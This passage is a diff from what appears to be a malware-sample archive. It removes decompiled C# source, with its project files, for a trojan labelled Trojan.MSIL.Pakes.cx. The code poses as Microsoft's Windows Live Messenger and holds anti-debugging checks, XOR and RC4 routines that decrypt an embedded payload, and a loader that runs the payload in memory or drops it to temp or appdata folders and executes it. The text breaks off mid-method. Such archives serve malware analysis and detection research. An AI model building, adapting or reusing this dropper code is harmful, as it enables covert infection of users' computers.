int num2 = c39b9bfa0531c9fc0feb455cf2b9c8f5d(new ceb562aff020f9bdc8cc736dbc668c704.c5060d316afb717d8321ded0c4c71abdf(ceb562aff020f9bdc8cc736dbc668c704.ca8cdfc7e7fa635b7407e9fd3fd606a3d), IntPtr.Zero);
if (ceb562aff020f9bdc8cc736dbc668c704.cd08b6913616190e206f4653abfe4c13e)
return true;
}
}
catch
{
}
}
catch
{
}
return false;
}
[StructLayout(LayoutKind.Sequential)]
internal class ca3e53a8e784199805f6ccea51d3ee110
{
internal IntPtr c2e74ee20cef1e61298d98ee25a72b767;
internal IntPtr c6aa0b9558fa612292251e42cfa39c171;
internal IntPtr cf0b002bc5ddf24d7dd5d407dd1f22dfa;
internal IntPtr c58606fe43c840b73eb7ec5cbc1f3d794;
internal IntPtr cd30b9a50b79f721047327fa443483532;
internal IntPtr cc4e7c9cc7044de281cfd145a7bc95392;
}
internal delegate int c5ff774e5036915d82eeb091b6b7eebd6(
IntPtr ProcessHandle,
int ProcessInformationClass,
ceb562aff020f9bdc8cc736dbc668c704.ca3e53a8e784199805f6ccea51d3ee110 ProcessInformation,
uint ProcessInformationLength,
out uint ReturnLength);
internal delegate int c1bfadde2f39160a496a3859a2401f5bb(
IntPtr ProcessHandle,
int ProcessInformationClass,
out uint debugPort,
uint ProcessInformationLength,
out uint ReturnLength);
internal delegate int c07dcf2cc710c7c71e01e7e4ed00c5e8e();
internal delegate void ce9d23df5088eb792e07fccc9b8b94e24([MarshalAs(UnmanagedType.LPStr)] string lpOutputString);
internal delegate int c41da53a9c8625ef1d14b48682a202b3a(
IntPtr hProcess,
ref int pbDebuggerPresent);
internal delegate int c5060d316afb717d8321ded0c4c71abdf(IntPtr wnd, IntPtr lParam);
internal delegate int c39b9bfa0531c9fc0feb455cf2b9c8f5d(
ceb562aff020f9bdc8cc736dbc668c704.c5060d316afb717d8321ded0c4c71abdf lpEnumFunc,
IntPtr lParam);
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/AssemblyInfo.cs
-18
View File
@@ -1,18 +0,0 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Permissions;
[assembly: AssemblyTitle("msnmsgr.exe")]
[assembly: AssemblyDescription("© Microsoft Corporation. All rights reserved.")]
[assembly: AssemblyProduct("Windows Live Messenger")]
[assembly: SuppressIldasm]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("5afec0d2-8002-4e2a-b813-5a805f49112a")]
[assembly: AssemblyCompany("Microsoft Corporation")]
[assembly: AssemblyFileVersion("15.4.3508.1109")]
[assembly: AssemblyCopyright("Microsoft Corporation")]
[assembly: AssemblyVersion("15.4.3508.1109")]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Trojan.MSIL.Pakes.cx.csproj
-54
View File
@@ -1,54 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{9756794A-61AD-4773-B1F9-8205B56FE790}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>net</AssemblyName>
<ApplicationVersion>15.4.3508.1109</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="_003CModule_003E.cs" />
<Compile Include="Urds1z1wtoob4waskjjcwebqs.cs" />
<Compile Include="xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs" />
<Compile Include="A\c0fd6042cf6163af5c5647fc1f5915949.cs" />
<Compile Include="A\c20d0cffccd6dc5adbb96a36882476ba1.cs" />
<Compile Include="A\cd7d39555ed815bdbdf6dbdcced0251b4.cs" />
<Compile Include="A\ceb562aff020f9bdc8cc736dbc668c704.cs" />
<Compile Include="A\Token2000015.cs" />
<Compile Include="h5ujlmy3tnldxk1xj\qbtgthkfdtdkregzw5sbjritg.cs" />
<Compile Include="h5ujlmy3tnldxk1xj\Token2000013.cs" />
<Compile Include="jjbyfmanvwf3fcjqxg0dm4lt2\majdcbl3z2ygng2ubtt5syebj.cs" />
<Compile Include="jjbyfmanvwf3fcjqxg0dm4lt2\Token2000014.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="net" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Trojan.MSIL.Pakes.cx.sln
-20
View File
@@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "net", "Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.csproj", "{9756794A-61AD-4773-B1F9-8205B56FE790}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{9756794A-61AD-4773-B1F9-8205B56FE790}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{9756794A-61AD-4773-B1F9-8205B56FE790}.Debug|Any CPU.Build.0 = Debug|Any CPU
{9756794A-61AD-4773-B1F9-8205B56FE790}.Release|Any CPU.ActiveCfg = Release|Any CPU
{9756794A-61AD-4773-B1F9-8205B56FE790}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Urds1z1wtoob4waskjjcwebqs.cs
-69
View File
@@ -1,69 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Urds1z1wtoob4waskjjcwebqs
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.exe
using System;
using System.Text;
public static class Urds1z1wtoob4waskjjcwebqs
{
public static int qfjnrquufpjndpglj3e1lew0cvhsptjaw = 129;
public static byte[] Kdsdgtxvv1fwlfukxzrga1x3h(byte[] pnxiuqphqi0k510d0jlovrhiz3mowiq0h)
{
for (int index = 0; index < pnxiuqphqi0k510d0jlovrhiz3mowiq0h.Length; ++index)
{
char ch = (char) ((uint) Convert.ToChar(pnxiuqphqi0k510d0jlovrhiz3mowiq0h[index]) ^ (uint) Urds1z1wtoob4waskjjcwebqs.qfjnrquufpjndpglj3e1lew0cvhsptjaw);
pnxiuqphqi0k510d0jlovrhiz3mowiq0h[index] = Convert.ToByte(ch);
}
return pnxiuqphqi0k510d0jlovrhiz3mowiq0h;
}
public static string D0m30kgqe110xol4nvtqtinn3(string V25pnrapj1tc5xmms)
{
int length = V25pnrapj1tc5xmms.Length;
string str1 = V25pnrapj1tc5xmms.Substring(0, (V25pnrapj1tc5xmms.Length + 1) / 2);
string str2 = V25pnrapj1tc5xmms.Substring((V25pnrapj1tc5xmms.Length + 1) / 2, V25pnrapj1tc5xmms.Length - (V25pnrapj1tc5xmms.Length + 1) / 2);
int num = 0;
StringBuilder stringBuilder = new StringBuilder(str1);
for (int index = 0; index < str2.Length; ++index)
{
stringBuilder.Insert(num + 1, str2[index]);
num += 2;
}
return stringBuilder.ToString();
}
public static void RC4(ref byte[] bytes, byte[] key)
{
byte[] numArray1 = new byte[256];
byte[] numArray2 = new byte[256];
for (int index = 0; index < 256; ++index)
{
numArray1[index] = (byte) index;
numArray2[index] = key[index % key.GetLength(0)];
}
int index1 = 0;
for (int index2 = 0; index2 < 256; ++index2)
{
index1 = (index1 + (int) numArray1[index2] + (int) numArray2[index2]) % 256;
byte num = numArray1[index2];
numArray1[index2] = numArray1[index1];
numArray1[index1] = num;
}
int index3;
int index4 = index3 = 0;
for (int index5 = 0; index5 < bytes.GetLength(0); ++index5)
{
index4 = (index4 + 1) % 256;
index3 = (index3 + (int) numArray1[index4]) % 256;
byte num = numArray1[index4];
numArray1[index4] = numArray1[index3];
numArray1[index3] = num;
int index6 = ((int) numArray1[index4] + (int) numArray1[index3]) % 256;
bytes[index5] ^= numArray1[index6];
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/_003CModule_003E.cs
-12
View File
@@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: <Module>
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.exe
using A;
internal class \u003CModule\u003E
{
static \u003CModule\u003E() => c0fd6042cf6163af5c5647fc1f5915949.c28f34ae17bcce30786fdac6c263b6e52();
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/h5ujlmy3tnldxk1xj/Token2000013.cs
-12
View File
@@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: h5ujlmy3tnldxk1xj.Token2000013
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.exe
namespace h5ujlmy3tnldxk1xj
{
internal class Token2000013 : \u0024Unresolved\u0024Token\u003A1003FFF
{
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/h5ujlmy3tnldxk1xj/qbtgthkfdtdkregzw5sbjritg.cs
-269
View File
@@ -1,269 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: h5ujlmy3tnldxk1xj.qbtgthkfdtdkregzw5sbjritg
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.exe
using A;
using jjbyfmanvwf3fcjqxg0dm4lt2;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
namespace h5ujlmy3tnldxk1xj
{
public class qbtgthkfdtdkregzw5sbjritg
{
private static bool cb328a725d56a5f4c35f2f7c02a5bd228 = true;
private byte[] ce0164d053d806b7c35ef4d6f64459821;
private string cb3e1a00ad6de83362fb300d25c1a57d0 = Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(869));
private string c91836dc2ab9789b73b3d04bfe94071ef = string.Empty;
private string cd933a40ffdc697c40c81635c1e8efc5d = string.Empty;
private int c22bd5ce84ab204d694f05398e2c10b98;
private bool c91fef3c33b84b4f396c54da8206d69bd;
private bool cba893a6240ee4c99c92572bc0977343b;
private string c92043dfe501872db97b0d10bad8dab76 = string.Empty;
private string c89b323e9d3e4bc0877e13b3f71248c1a = string.Empty;
private object c87fe99bbcc3da4044cff001ab87a8991;
private MethodInfo cf82ef5faba39ff11323b80cc07c01156;
private object c0060c02619fa07057cc111742ba0844d(int ca116803b7a99aff66b7a92076918aa52)
{
Assembly assembly = Assembly.Load(Urds1z1wtoob4waskjjcwebqs.Kdsdgtxvv1fwlfukxzrga1x3h(qbtgthkfdtdkregzw5sbjritg.Iorb2w43loblhrpwo(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(1)))));
Thread.Sleep(1000);
System.Type type = assembly.GetTypes()[ca116803b7a99aff66b7a92076918aa52];
this.cf82ef5faba39ff11323b80cc07c01156 = type.GetMethod(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(20)));
return Activator.CreateInstance(type);
}
public static byte[] Iorb2w43loblhrpwo(string Vtqbnna0vaiunzs0c)
{
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(Vtqbnna0vaiunzs0c))
{
byte[] buffer = new byte[1024];
using (MemoryStream memoryStream = new MemoryStream())
{
while (true)
{
int count = manifestResourceStream.Read(buffer, 0, buffer.Length);
if (count > 0)
memoryStream.Write(buffer, 0, count);
else
break;
}
return memoryStream.ToArray();
}
}
}
private byte[] cb590b5b22d9efc5b95bc92ddce5227b9(byte[] cb1be5ab7eb896fd13f8e879c24425b0d)
{
if (this.cb3e1a00ad6de83362fb300d25c1a57d0 == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(27)))
Urds1z1wtoob4waskjjcwebqs.RC4(ref cb1be5ab7eb896fd13f8e879c24425b0d, xjelt1xzblpwevvmag5rnjzve32rhy4yl.Ey53uxfwuo1z4ftrs(this.c91836dc2ab9789b73b3d04bfe94071ef));
return cb1be5ab7eb896fd13f8e879c24425b0d;
}
private static void c8c544be5c75eefdc483b7e04682d902c(byte[] cad8be6fd54e41c543b7e79c7ccc6e6eb)
{
try
{
Thread thread = new Thread(new ParameterizedThreadStart(qbtgthkfdtdkregzw5sbjritg.ca4fab8035a423fab66890a0f9be2fed4));
thread.SetApartmentState(ApartmentState.STA);
thread.Start((object) cad8be6fd54e41c543b7e79c7ccc6e6eb);
thread.Join();
}
catch
{
qbtgthkfdtdkregzw5sbjritg.cb328a725d56a5f4c35f2f7c02a5bd228 = false;
}
}
private static void ca4fab8035a423fab66890a0f9be2fed4(object c5bea8f1bcf80d14a89aaabf6577dff60)
{
try
{
MethodInfo entryPoint = Assembly.Load((byte[]) c5bea8f1bcf80d14a89aaabf6577dff60).EntryPoint;
if (entryPoint.GetParameters().Length == 1)
entryPoint.Invoke((object) null, new object[1]
{
(object) new string[0]
});
else
entryPoint.Invoke((object) null, (object[]) null);
}
catch
{
qbtgthkfdtdkregzw5sbjritg.cb328a725d56a5f4c35f2f7c02a5bd228 = false;
}
}
private bool c342dc8e8e5f3f63219c0e8e43530cf23(byte[] c8ab6d60cfb93e6fc5f307d7ba720c3b6)
{
qbtgthkfdtdkregzw5sbjritg.c8c544be5c75eefdc483b7e04682d902c(c8ab6d60cfb93e6fc5f307d7ba720c3b6);
bool cb328a725d56a5f4c35f2f7c02a5bd228 = qbtgthkfdtdkregzw5sbjritg.cb328a725d56a5f4c35f2f7c02a5bd228;
qbtgthkfdtdkregzw5sbjritg.cb328a725d56a5f4c35f2f7c02a5bd228 = true;
return cb328a725d56a5f4c35f2f7c02a5bd228;
}
private void cffc7c3d1eed33e78ab120622162bdb46(
byte[] c83b1fb4d551712e0cc1418a59c54acbd,
string c7c6c9eeab3bc37a8c90ea89fab68a1cd,
bool c8f927366d5a87a12c6b0bbc8a7869df0)
{
try
{
File.WriteAllBytes(c7c6c9eeab3bc37a8c90ea89fab68a1cd, c83b1fb4d551712e0cc1418a59c54acbd);
if (!c8f927366d5a87a12c6b0bbc8a7869df0)
return;
new Process()
{
StartInfo = {
FileName = c7c6c9eeab3bc37a8c90ea89fab68a1cd
}
}.Start();
}
catch
{
}
}
private byte[] cb716513ba4c90d1faf01e700869946c3(
string c4becd67bfddee048f71b5038621a8aad,
int c7fd4b1e5f3eef4e4463570dac8ee9430,
string c4b2868005351317218daee6721fcef4e)
{
try
{
IntPtr hModule = majdcbl3z2ygng2ubtt5syebj.D5kge1nujvdjzhv0jghbiqxxz(string.Empty);
IntPtr hResInfo = majdcbl3z2ygng2ubtt5syebj.Zuiqftto0ycdigqdj2bliy2ze(hModule, c7fd4b1e5f3eef4e4463570dac8ee9430, c4b2868005351317218daee6721fcef4e);
uint length = majdcbl3z2ygng2ubtt5syebj.Kiu4wfxns4qkmxvobjd4lulyv(hModule, hResInfo);
IntPtr source = majdcbl3z2ygng2ubtt5syebj.Qwkx02hqegloe50zymjvgishq(hModule, hResInfo);
byte[] destination = new byte[(IntPtr) length];
Marshal.Copy(source, destination, 0, (int) length);
return destination;
}
catch (Exception ex)
{
Console.WriteLine(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(34)) + Environment.NewLine + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(83)) + ex.Message);
return (byte[]) null;
}
}
private string ca4821272955581cfb3bc9722a9819bf2(string cbd32a66846c8346f4104504dea17743c)
{
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(108)))
cbd32a66846c8346f4104504dea17743c = Application.StartupPath + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(144)))
cbd32a66846c8346f4104504dea17743c = Path.GetTempPath();
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(153)))
cbd32a66846c8346f4104504dea17743c = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(168)))
cbd32a66846c8346f4104504dea17743c = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(193)))
cbd32a66846c8346f4104504dea17743c = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(208)))
cbd32a66846c8346f4104504dea17743c = Environment.GetEnvironmentVariable(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(233))) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(256)))
cbd32a66846c8346f4104504dea17743c = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
return cbd32a66846c8346f4104504dea17743c;
}
private string ca47fea07c3bebd4fb8b13138d0b1b0db(string cfb24d7fd223745044ea3ffa968812e90)
{
string str = string.Empty;
if (cfb24d7fd223745044ea3ffa968812e90 == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(283)))
str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
if (cfb24d7fd223745044ea3ffa968812e90 == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(286)))
str = Path.GetTempPath();
if (cfb24d7fd223745044ea3ffa968812e90 == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(289)))
str = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
return str;
}
private void c7a18ce30d7bdbef4b324bd7078297ea9(string cb1be5ab7eb896fd13f8e879c24425b0d)
{
string[] separator1 = new string[1]
{
Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(292))
};
cb1be5ab7eb896fd13f8e879c24425b0d.Split(separator1, StringSplitOptions.None);
string[] separator2 = new string[1]
{
Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(343))
};
string[] strArray1 = cb1be5ab7eb896fd13f8e879c24425b0d.Split(separator2, StringSplitOptions.None);
string[] separator3 = new string[1]
{
Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(394))
};
string[] strArray2 = cb1be5ab7eb896fd13f8e879c24425b0d.Split(separator3, StringSplitOptions.None);
string[] separator4 = new string[1]
{
Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(429))
};
cb1be5ab7eb896fd13f8e879c24425b0d.Split(separator4, StringSplitOptions.None);
this.cb3e1a00ad6de83362fb300d25c1a57d0 = strArray1[1];
this.c91836dc2ab9789b73b3d04bfe94071ef = strArray1[2];
this.cd933a40ffdc697c40c81635c1e8efc5d = strArray1[3];
this.c22bd5ce84ab204d694f05398e2c10b98 = Convert.ToInt32(strArray2[1]);
this.c91fef3c33b84b4f396c54da8206d69bd = Convert.ToBoolean(strArray2[16]);
this.cba893a6240ee4c99c92572bc0977343b = Convert.ToBoolean(strArray2[17]);
this.c92043dfe501872db97b0d10bad8dab76 = this.ca4821272955581cfb3bc9722a9819bf2(strArray2[18]) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141)) + Path.GetRandomFileName();
this.c89b323e9d3e4bc0877e13b3f71248c1a = strArray2[20];
this.c92043dfe501872db97b0d10bad8dab76 = this.c92043dfe501872db97b0d10bad8dab76.Substring(0, this.c92043dfe501872db97b0d10bad8dab76.Length - 4) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(480));
Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System));
string c89b323e9d3e4bc0877e13b3f71248c1a;
if ((c89b323e9d3e4bc0877e13b3f71248c1a = this.c89b323e9d3e4bc0877e13b3f71248c1a) == null)
return;
if (!(c89b323e9d3e4bc0877e13b3f71248c1a == c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(283)))
{
if (!(c89b323e9d3e4bc0877e13b3f71248c1a == c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(286)))
return;
this.c89b323e9d3e4bc0877e13b3f71248c1a = Environment.GetEnvironmentVariable(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(489))) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(680));
}
else
{
try
{
if (IntPtr.Size == 4)
this.c89b323e9d3e4bc0877e13b3f71248c1a = Environment.GetEnvironmentVariable(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(489))) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(502));
else
this.c89b323e9d3e4bc0877e13b3f71248c1a = Environment.GetEnvironmentVariable(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(489))) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(589));
}
catch (Exception ex)
{
}
}
}
public void k1m3loxmmjqgq5simku0mrlt2()
{
string executablePath = Application.ExecutablePath;
try
{
this.c7a18ce30d7bdbef4b324bd7078297ea9(xjelt1xzblpwevvmag5rnjzve32rhy4yl.eubkjmyiz1ivj5id3(this.cb716513ba4c90d1faf01e700869946c3(executablePath, 87, Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(767)))));
this.ce0164d053d806b7c35ef4d6f64459821 = this.cb716513ba4c90d1faf01e700869946c3(executablePath, 91, Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(834)));
this.ce0164d053d806b7c35ef4d6f64459821 = this.cb590b5b22d9efc5b95bc92ddce5227b9(this.ce0164d053d806b7c35ef4d6f64459821);
